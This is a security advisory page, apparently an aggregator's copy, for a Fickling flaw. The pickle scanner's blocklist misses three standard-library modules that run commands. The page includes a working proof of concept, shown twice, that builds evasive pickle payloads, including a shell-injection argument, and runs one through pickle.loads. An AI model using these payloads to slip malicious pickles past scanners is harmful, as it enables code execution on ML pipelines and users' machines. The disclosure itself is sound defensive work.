GHSA-5hwf-rc88-82xm: Fickling Remote Code Execution Vulnerability

HIGH
CWE-184
Published
Advisory Summary

GHSA-5hwf-rc88-82xm is a HIGH remote code execution vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Fickling libraries in the PyPI ecosystem. The issue involves fickling missing rce-capable modules in unsafe_imports. Remediation is available by upgrading affected packages to version 0.1.9.

GHSA-5hwf-rc88-82xm at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-5hwf-rc88-82xm
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Fickling
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-5hwf-rc88-82xm

To remediate this vulnerability, upgrade all affected Fickling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fickling fixed: 0.1.9
pip install fickling>=0.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fickling

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-5hwf-rc88-82xm, inspect your installed packages using pip:

pip show fickling

Analyze the terminal output to locate any version of Fickling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.9), your application is affected.

Note: The pip show fickling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Fickling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Assessment The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b). # Original report ## Summary fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks. ## Affected Versions - fickling <= 0.1.8 (all versions) ## Details ### Missing Modules fickling's `UNSAFE_IMPORTS` (86 modules) does not include: | Module | RCE Function | Internal Mechanism | Importable On | |--------|-------------|-------------------|---------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms | | `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)` | All platforms | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | **Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS. ### Why These Pass fickling 1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged 2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged 3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped 4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend) ### Proof of Concept (using fickling's opcode API) ```python from fickling.fickle import ( Pickled, Proto, Frame, ShortBinUnicode, StackGlobal, TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop, ) from fickling.analysis import check_safety import struct, pickle frame_data = b"\x95" + struct.pack("<Q", 60) # uuid._get_command_stdout — works on ALL platforms uuid_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("uuid"), ShortBinUnicode("_get_command_stdout"), StackGlobal(), ShortBinUnicode("echo"), ShortBinUnicode("PROOF_OF_CONCEPT"), TupleTwo(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # _aix_support._read_cmd_output — works on ALL platforms aix_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_aix_support"), ShortBinUnicode("_read_cmd_output"), StackGlobal(), ShortBinUnicode("echo PROOF_OF_CONCEPT"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # _osx_support._find_build_tool — command injection via %s osx_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_osx_support"), ShortBinUnicode("_find_build_tool"), StackGlobal(), ShortBinUnicode("x; echo INJECTED #"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) # All three: fickling reports LIKELY_SAFE for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]: result = check_safety(p) print(f"{name}: severity={result.severity}, issues={len(result.results)}") # Output: severity=Severity.LIKELY_SAFE, issues=0 # All three: pickle.loads() executes the command pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT ``` ### Verified Output ``` $ python3 poc.py uuid: severity=Severity.LIKELY_SAFE, issues=0 aix: severity=Severity.LIKELY_SAFE, issues=0 osx: severity=Severity.LIKELY_SAFE, issues=0 PROOF_OF_CONCEPT ``` ## Impact An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines. ## Suggested Fix Add to `UNSAFE_IMPORTS` in fickling: ```python "uuid", "_osx_support", "_aix_support", ``` **Longer term:** Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules. ## Resources - Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`) - Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`) - Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`) - fickling source: `analysis.py` `UNSAFE_IMPORTS` set

GHSA-5hwf-rc88-82xm Affected Fickling Versions

1 component(s)
Fixed Versions:
0.1.9
Product / Package Ecosystem Affected Versions Fixed Version
fickling
PyPI
< 0.1.9
0.1.9

References

Frequently Asked Questions

What is GHSA-5hwf-rc88-82xm?
GHSA-5hwf-rc88-82xm is a security vulnerability in Fickling involving Fickling missing RCE-capable modules in UNSAFE_IMPORTS under CWE-184: Incomplete List of Disallowed Inputs.
Which Fickling versions are affected?
Affected versions include releases prior to 0.1.9 across affected packages: fickling.
What version fixes GHSA-5hwf-rc88-82xm?
Upgrading to 0.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fickling affected?
Yes, fickling is affected in releases prior to 0.1.9. Upgrade your dependency to 0.1.9 or later.
What CWE is associated with GHSA-5hwf-rc88-82xm?
GHSA-5hwf-rc88-82xm is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for GHSA-5hwf-rc88-82xm?
Run the dependency tree command: 'pip show fickling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5hwf-rc88-82xm",
  "modified" : "2026-03-04T21:31:03Z",
  "published" : "2026-03-04T21:31:03Z",
  "aliases" : [ ],
  "summary" : "Fickling missing RCE-capable modules in UNSAFE_IMPORTS",
  "details" : "# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling <= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling's `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling's opcode API)\n\n```python\nfrom fickling.fickle import (\n    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"<Q\", 60)\n\n# uuid._get_command_stdout — works on ALL platforms\nuuid_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"uuid\"),\n    ShortBinUnicode(\"_get_command_stdout\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo\"),\n    ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n    TupleTwo(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _aix_support._read_cmd_output — works on ALL platforms\naix_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"_aix_support\"),\n    ShortBinUnicode(\"_read_cmd_output\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _osx_support._find_build_tool — command injection via %s\nosx_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"_osx_support\"),\n    ShortBinUnicode(\"_find_build_tool\"),\n    StackGlobal(),\n    ShortBinUnicode(\"x; echo INJECTED #\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n    result = check_safety(p)\n    print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n    # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fickling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/trailofbits/fickling"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T21:31:03Z",
    "nvd_published_at" : null
  }
}